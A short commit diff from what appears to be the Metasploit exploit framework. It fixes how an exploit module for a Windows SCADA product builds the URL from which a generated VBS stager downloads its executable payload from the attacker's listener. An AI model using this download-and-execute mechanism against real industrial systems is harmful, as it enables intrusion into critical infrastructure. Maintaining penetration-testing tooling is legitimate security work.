Fix scadapro_cmdexe datastore

Author: wvu

modules/exploits/windows/scada/scadapro_cmdexe.rb

@@ -103,7 +103,7 @@ def exploit
     end
 
     payload_src  = lhost
-    payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe"
+    payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
 
     stager_name = rand_text_alpha(6) + ".vbs"
     stager      = build_vbs(payload_src, stager_name)